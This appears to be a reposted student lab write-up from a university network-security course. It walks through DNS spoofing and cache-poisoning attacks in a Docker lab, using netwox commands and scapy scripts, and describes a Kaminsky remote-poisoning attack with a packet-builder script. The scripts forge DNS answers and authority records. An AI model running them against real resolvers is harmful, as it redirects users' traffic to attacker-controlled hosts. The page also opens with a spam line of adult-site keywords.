日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验

發布時間:2025/5/22 62 如意码农
生活随笔 收集整理的這篇文章主要介紹了 【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

寫在最前:
這是我個人的實驗記錄,實現方式有很多種,多臺虛擬機更容易做netwox。
認真整理和記錄了一下容易出問題的地方。
代碼倉庫開了。

文章目錄

  • 涉及代碼的倉庫地址
  • 計算機網絡安全實驗二
    • DNS協議漏洞利用實驗
      • docker使用
        • 建立實驗環境
        • docker常用指令
      • 一些注意事項
      • 設置本地 DNS 服務器
        • 配置用戶計算機
        • 設置本地DNS服務器
        • 在本地 DNS 服務器中建一個區域
      • 修改主機文件(可略)
      • netwox實施DNS的用戶響應欺騙攻擊
      • netwox實施DNS的緩存中毒攻擊
      • scapy實施DNS緩存中毒攻擊
      • 遠程 DNS 緩存中毒攻擊-Kaminsky
        • 實驗環境配置
        • 攻擊原理
        • 攻擊過程

涉及代碼的倉庫地址

HUST計算機網絡安全實驗_Gitee
Github

計算機網絡安全實驗二

DNS協議漏洞利用實驗

docker使用

建立實驗環境

普通用戶: seed 密碼:dees
超級用戶:root 密碼:seedubuntu

Network(bridge):10.10.10.0/24:

sudo docker network create --subnet=10.10.10.0/24 dnsnetwork

創建dns(注意創建docker的時候不要寫privileged):

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

創建user:

sudo docker run -it --name=user --hostname=user --net dnsnetwork --ip=10.10.10.3 "seedubuntu" /bin/bash

創建dns:

sudo docker run -it --name=dns --hostname=dns --net dnsnetwork --ip=10.10.10.2 "seedubuntu" /bin/bash

我的ip:

Attacker:10.10.10.1
dns:10.10.10.2
user:10.10.10.3
網卡:br-29c63b220f5a
docker常用指令

打開或停止HostM:

sudo docker start/stop HostM

把HostM映射到bash中:

sudo docker exec -it HostM /bin/bash

查看當前docker有哪些:

sudo docker ps -a

關閉防火墻:

sudo iptables -F

主機和容器之間拷貝數據:

sudo docker cp 容器名稱:路徑 主機路徑
sudo docker cp 主機路徑 容器名稱:路徑

一些注意事項

  1. 每次重啟之后,/etc/resolv.conf會被改成原來的內容。
  2. 修改BIND9的配置后,可以運行sudo rndc flush測試一下。當遇到rndc: connect failed: 127.0.0.1#953: connection refused報錯時,先試著重啟BIND9服務,再找找bind9的配置項是否出錯,改回默認配置,把錯誤糾正。如果不是配置問題,就運行sudo named -d 3 -f -g檢查錯誤信息。注意,named指令會導致DNS緩存一直無條目,不要在做后面的實驗時用。
  3. 配置項相關文件的權限最好都設置成可讀可寫,還有/etc/bind/rndc.key
  4. DNS服務器中出現不想要的緩存的時候,可以用rndc flushname xxx.com清除。免得等半天。
  5. DNS遠程攻擊的時候,如果修改了攻擊機上的配置,最好是把DNS服務器的緩存清空,然后兩個機子的BIND9服務都重啟,否則DNS緩存刷新不及時,妨礙后續攻擊。具體咋回事多dumpdb看看DNS緩存就行。
  6. 服務器返回icmp報文說端口不可達,原因可能是服務器的bind9未啟動,服務器運行service bind9 start
  7. 如果碰到下圖這種解析成UDP包的,不要慌!只是Wireshark顯示異常,僅此而已,你去服務器里邊dumpdb一點問題沒有!

設置本地 DNS 服務器

配置用戶計算機

修改user主機的/etc/resolv.conf文件,將服務器IP添加 為文件中的第一個 nameserver 條目,即此服務器將用作主 DNS 服務器,如下圖所示:

完成配置用戶計算機之后,使用 dig 命令獲取任意網址的 IP 地址,可以看到回應來自于10.10.10.2。 如下圖:

即user的配置成功。

設置本地DNS服務器

編輯/etc/bind/named.conf.options:確認①dump-file "/var/cache/bind/dump.db";;②dnssec-validation auto被注釋,dnssec-enable是no(關閉DNSSEC);③端口號設置好。如下圖所示,打開的時候已經配置好了:

重啟DNS服務器:

sudo service bind9 restart

然后再運行提權指令減少一些報錯:

sudo chmod 777 /var/cache/bind/dump.db # 提高緩存文件的權限
sudo chmod 777 /etc/bind/rndc.key # 提高rndc的權限

服務器常用指令:

sudo rndc dumpdb -cache # 將緩存轉儲到特定文件
sudo rndc flush # 清除DNS緩存

在用戶機上運行ping指令測試:

ping www.baidu.com

在Wireshark上查看ping命令觸發的DNS查詢。

前期發送了大量的DNS查詢報文,遞歸查詢。(對應藍色部分)
當ping通之后,不需要再進行DNS查詢,因此直接從緩存中讀取IP地址。(對應的是連續的粉紅色部分)

在本地 DNS 服務器中建一個區域
  1. 創建區域:在dns中編輯/etc/bind/named.conf.default-zones,添加:

    zone "example.com" {
    type master;
    file "/etc/bind/example.com.db";
    };
    zone "0.168.192.in-addr.arpa" {
    type master;
    file "/etc/bind/192.168.0.db";
    };
  2. 把文件從主機中移動到docker中:

    sudo docker cp 192.168.0.db dns:/etc/bind/ # 正向查找區域文件
    sudo docker cp example.com.db dns:/etc/bind/ # 反向查找區域文件
  3. 重新啟動BIND服務器:

    sudo service bind9 restart

  4. 用戶機運行dig www.example.com進行測試授權域配置:

    觀察IP地址,與設置的一樣。

  5. 用戶機運行dig www.baidu.com進行測試非授權域配置:

    對于非授權域域名,也能夠成功獲得相應信息。

    實驗環境配置完成。

修改主機文件(可略)

修改/etc/hosts文件,添加:

1.2.3.4 www.bank32.com

用dig命令測試結果,發現修改主機文件確實不影響對www.bank32.com文件解析,如下圖所示:

用ping命令測試修改結果,確實影響了,如下圖所示:

用Web瀏覽器測試結果,這個需要到seed@VM中檢驗。因此把seed@VM的/etc/hosts也修改一下,測試結果如下。

如上圖所示,解析的DesIP被修改成1.2.3.4。

netwox可參考:DNS攻擊 - Wsine - 博客園 (cnblogs.com),基本上就是實驗內容。

netwox實施DNS的用戶響應欺騙攻擊

攻擊指令:

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.3" --device "br-29c63b220f5a"

攻擊的是user,注意一定要加上–device 網卡,否則filter參數會失效。

運行攻擊指令,并在用戶機上dig news.youtube.com觸發。

在攻擊機上可以看到偽造的響應:

在user上查看回應,與偽造的一致:

觀察到得到錯誤的DNS返回,并且顯示為指定的IP地址,也返回了查詢網址的權威域名及其IP地址。結果符合預期,攻擊成功。

令攻擊機停止攻擊,再次dig news.youtube.com,在user上顯示:

此時返回的結果與真實結果一致。
說明攻擊的確實是DNS的用戶響應,不影響DNS服務器的正常請求。

netwox實施DNS的緩存中毒攻擊

在攻擊機上運行:

sudo netwox 105 -h "news.youtube.com" -H "101.102.103.104" -a "ns.youtube.com" -A "55.66.77.88" --filter "src host 10.10.10.2" --device "br-29c63b220f5a" --spoofip "raw" --ttl 600

意思是設置DNS響應包域名news.youtube.com對應IP地址為101.102.103.104,權威名稱服務器ns.youtube.com對應的IP地址為55.66.77.88。

攻擊的是DNS服務器的緩存,ttl生存時間代表緩存留存在DNS服務器上的時間600(秒)。spoofip參數選擇raw,否則netwox將對被欺騙的IP地址也進行MAC地址欺騙,因為ARP查詢響應的等待時間問題,實驗有可能失敗。

實際上,就算加了參數,在docker上做實驗,但是在三臺虛擬主機上做實驗就必成功(親測),還是有很大的可能失敗

以下是難得成功的一次截圖。

  1. 首先清空DNS緩存:

    sudo rndc flush
  2. 為了提高攻擊的成功率,添加對外訪問的時延如下(其實就是DNS服務器對外訪問慢一點,保證它優先收到攻擊機的回應):

    sudo tc qdisc add dev br-29c63b220f5a root netem delay 1s
  3. 運行攻擊命令,用dig news.youtube.com觸發:

    觀察到,攻擊機成功嗅探到DNS服務器向上發出的DNS請求包,并偽造上層DNS服務器向其發送回復報文。

    在user上dig指令的結果:

    觀察到IP地址、權威域名服務器地址被修改成期望的地址。

    同時用Wireshark抓包,得到如下結果:

    觀察到,攻擊機比真實DNS服務器提前一步發送DNS響應,從而導致DNS緩存中毒。

    轉儲并查看DNS服務器緩存,如下:

    sudo rndc dumpdb -cache
    sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack"

  4. 停止攻擊后,再次用dig進行域名查詢,觀察到返回的結果與上述結果一致:

    可以通過時間、TTL來判斷,確實是攻擊前后發的兩次不同的查詢。

DNS緩存中毒成功。

scapy實施DNS緩存中毒攻擊

針對授權域Authority Section和附加域Additional Section的攻擊腳本:

該腳本既將授權域改成了attacker32.com,也將附加域修改了。

from scapy.all import *

def spoof_dns(pkt):
#pkt.show()
if(DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) UDPpkt = UDP(dport=pkt[UDP].sport, sport=53) # The Answer Section
Anssec = DNSRR(rrname=pkt[DNS].qd.qname, type='A',ttl=259200, rdata='10.0.2.5') # The Authority Section
NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
NSsec2 = DNSRR(rrname='google.com', type='NS', ttl=259200, rdata='attacker32.com') # The Additional Section
Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
Addsec2 = DNSRR(rrname='attacker32.cn', type='A', ttl=259200, rdata='5.6.7.8') # Construct the DNS packet
DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=2, an=Anssec, ns=NSsec1/NSsec2, ar=Addsec1/Addsec2) # Construct the entire IP packet and send it out
spoofpkt = IPpkt/UDPpkt/DNSpkt
send(spoofpkt) # Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filter='udp and dst port 53 and src host 10.10.10.2', prn=spoof_dns)
  1. 運行攻擊腳本,在user上使用dig www.example.net命令激發DNS查詢,攻擊腳本運行如下圖:

  2. user上返回結果如下圖:

    與攻擊腳本一致,授權域和附加域都被修改了。

  3. 同時查看Wireshark的抓包結果,觀察到發送的偽造報文:

  4. 轉儲并查看DNS服務器緩存,結果如下:

    觀察到,沒有attacker32.cn的緩存記錄,這是因為attacker32.cn沒有出現在授權域中。

  5. 停止攻擊后,再次用dig進行域名查詢,觀察到返回的結果與上述結果一致:

    可以通過時間、TTL來判斷,確實是攻擊前后發的兩次不同的查詢。

    DNS緩存中毒成功。

  6. 此時使用dig mail.example.net命令進行查詢,根據Wireshark抓包結果得知,當再次進行相同域的DNS查詢時,會首先對在緩存中的NS條目指定的域名服務器進行查詢,如下圖:

    因此,對附加域的攻擊也是成功的。

這是我參考過的博客(實驗指導書其實已經寫得很詳細了):
主要參考:DNS 緩存中毒–Kaminsky 攻擊復現。

遠程 DNS 緩存中毒攻擊-Kaminsky

實驗環境配置
  1. 在dns中編輯/etc/bind/named.conf.default-zones,注釋掉之前配置的example.com區域。并添加假域名去展示實驗效果:

    zone "ns.ssd.net" {
    type master;
    file "/etc/bind/ssd.net.db";
    };
  2. 在dns中添加文件/etc/bind/ssd.net.db,并將以下內容放入其中:

    $TTL 604800
    @ IN SOA localhost. root.localhost. (
    2 ; Serial
    604800 ; Refresh
    86400 ; Retry
    2419200 ; Expire
    604800 ) ; Negative Cache TTL
    @ IN NS ns.ssd.net.
    @ IN A 10.10.10.1
    ns IN A 10.10.10.1
    * IN A 10.10.10.1

    其中ns.ssd.net修改成自己的假域名,10.10.10.1修改成攻擊機的IP。

在用戶機上運行ping ns.ssd.net測試是否配置成功:

如圖,已經配置成功了。

  1. 在攻擊機中配置DNS服務器,去回答example.com的查詢。在攻擊機中編輯/etc/bind/named.conf添加以下內容:

    zone "example.com" {
    type master;
    file "/etc/bind/example.com.zone";
    };

    然后創建文件/etc/bind/example.com.zone,添加以下內容:

    $TTL 3D
    @ IN SOA ns.example.com. admin.example.com (
    2008111001
    8H
    2H
    4W
    1D )
    @ IN NS ns.ssd.net.
    @ IN A 1.1.1.1
    www IN A 1.1.1.2
    ns IN A 10.10.10.168
    * IN A 10.10.10.17

    注意:在配置完攻擊機和服務機之后,可以運行sudo rndc flush測試一下。當遇到rndc: connect failed: 127.0.0.1#953: connection refused報錯時,說明bind9的配置項出錯,此時可以找找改了哪里,把錯誤糾正。

    等到攻擊成功后,www.example.com對應的是1.1.1.2

  2. 將之前實驗添加的網絡時延規則刪除:

    sudo tc qdisc del dev br-29c63b220f5a root
  3. 其他配置不變。刷新緩存,重啟dns和攻擊機上的DNS服務器:

    sudo rndc flush
    sudo service bind9 restart

    在user上多次運行dig www.example.com,直到得到結果:

    如果能得到結果,說明環境配置成功。

    觀察返回的信息,可以知道www.example.com的遠程請求過程:①user向dns發起詢問,DNS服務器依次查詢;②先查到根域名服務器的地址;③再通過根域名服務器得到.com頂級域名服務器的地址;④再通過.com頂級域名服務器查詢得到example.com權威域名服務器的地址;⑤通過詢問example.com權威域名服務器,得到www.example.com的IP地址為93.184.216.34。

攻擊原理

當dns中已經有example.com的緩存信息時,它不再從根域名服務器查起,而是直接詢問example.com。攻擊機可以想Apollo發送偽造的響應,比真正的example.com先一步到達dns即可。

但是由于dns緩存有較長時間,攻擊機想要等待服務器主動發起對指定域名的DNS請求需要時間。Dan Kaminsky提出了一種攻擊方法去避免這個問題,該方法的步驟是:

①攻擊者查詢example.com隨機的不存在的名稱;
②dns服務器緩存中沒有這一域名,因此向example.com發起請求;
③攻擊機針對請求發送DNS欺騙流,不僅為該域名提供Answer,還將ns.姓名.net作為example.com域的權威域名服務器,從而破壞緩存。

攻擊過程

為了提高攻擊成功率,再次添加時延(建議少加點):

sudo tc qdisc add dev br-29c63b220f5a root netem delay 100ms

注:如果wireshark看到dns服務響應很慢,別加了。如果外網響應太快死活攻擊不成功,多加點。

兩個攻擊腳本:

偽造請求包和響應包的python程序general_dns.py:

from scapy.all import *
import string
import random # random name
name = ''.join(random.sample(string.ascii_letters, 5))+'.example.com'
print(name)
Qdsec = DNSQR(qname=name) # query
ip_q = IP(dst='10.10.10.2',src='10.10.10.1') # dst: dns; src:attacker
udp_q = UDP(dport=53,sport=33333,chksum=0)
dns_q = DNS(id=0xaaaa,qr=0,qdcount=1,ancount=0,nscount=0,arcount=0,qd=Qdsec)
pkt_q= ip_q/udp_q/dns_q # reply
ip_r = IP(dst='10.10.10.2', src='199.43.135.53', chksum=0)
udp_r = UDP(dport=33333, sport=53, chksum=0)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
# The Authority Section
NSsec = DNSRR(rrname='example.com', type='NS', ttl=259200, rdata='ns.ssd.net')
Addsec = DNSRR(rrname='ns.ssd.net', type='A', ttl=259200, rdata='10.10.10.1')
dns_r = DNS(id=0xAAAA, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=1, arcount=1, qd=Qdsec, an=Anssec, ns=NSsec, ar=Addsec)
pkt_r = ip_r/udp_r/dns_r with open('query.bin','wb')as f:
f.write(bytes(pkt_q))
with open('reply.bin', 'wb') as f:
f.write(bytes(pkt_r))

其中響應包的id要隨機生成,發送從0~ffff號的所有報文來進行DNS欺騙。

用bless查看構造的reply.bin的二進制,找到id的偏移地址:

偏移量為0x1c,十進制為28。

攻擊程序dns_attack.c的編寫邏輯:

  1. 每輪循環開始,先運行一次偽造請求包和響應包的python程序;
  2. 打開query.binreply.bin,寫入緩存區。
  3. 發送DNS請求包;
  4. 修改reply.bin的dns序列號,從1000~65535(觀察了一下,發包速度相當快,可以支持多發一些包),轉換成大端字節序再寫入(也可以不轉)。并重新計算dns的chksum。
  5. 依次發送這些DNS響應包。再回到1重新循環。

發包的C程序dns_attack.c:

程序在Gitee里,放這里顯示會出錯。

編譯程序的方式:

gcc -lpcap dns_attack.c -o dns_attack
  1. 編譯并運行發包攻擊程序,過一會兒在dns上轉儲cache,運行:

    sudo rndc dumpdb -cache
    sudo cat /var/cache/bind/dump.db | grep -E "google|youtube|example|attack|ssd"

    可以看到example.com現在對應的是ns.ssd.net,其他的被注釋掉了,IP也解析成攻擊目標了,相當成功。

    再觀察一下Wireshark的報文:

    能看到偽造的隨機請求包,也可以看到服務器收到偽造的請求包,開始主動向權威域名服務器請求,還可以看到偽造的序號順序的響應。

    如果,①偽造的請求包、②服務器向權威域名服務器的請求包,以及③偽造的回應包、④真實權威域名服務器的回應包,有任一無法找到,則說明攻擊結果異常,請具體情況具體分析,不要一味攻擊。
    正常情況,在序列號從10000到65535的欺騙中,有約85%的幾率一次攻擊成功。
    最多攻擊5次,即可停下。如果Ctrl+C無法中止程序,請用ps -a查看進程號,再kill 進程號,終止程序。
    注:在發起攻擊之前,清空DNS緩存、使用用戶機dig www.example.com拿到IP(使服務器中具備權威域名服務器的緩存),將會節省DNS服務器向根域名服務器詢問權威域名服務器的時間,從而減少攻擊的時長。【如果不提前dig就直接攻擊,攻擊過程中持續看cache,刷出來example了就停下,有85%的幾率可以得到一個完全沒有真實權威域名服務器cache記錄的結果,我愿稱之為完美】

    只要序號符合0xe0fa,并且比真實服務器早,就可以攻擊成功。

    過濾10.10.10.1的報文,除了這些報文以及服務器的主動請求之外,其他的報文就是攻擊機偽造的請求。可以看到攻擊成功的可能性很大。

    注意:已經攻擊完成后,一定要及時中止dns_attack程序。我在已經集齊所有完美的實驗現象之后,忘記中止攻擊程序,然后發送了過多的攻擊報文,我自己的sock崩潰了。隨后虛擬機內存不夠,自動關機重啟,還好我有快照,否則我也會崩潰了。

  2. 此時在用戶機上運行dig www.example.comdig abcd.example.com去測試:

    可以看到,域名成功地被解析成預期值1.1.1.2了!

    然后隨便攻擊一個example.com域的域名,也可以成功解析成預期值:

    因此攻擊成功。

不點個贊再走嘛!?

總結

以上是生活随笔為你收集整理的【HUST】网安|计算机网络安全实验|实验二 DNS协议漏洞利用实验的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。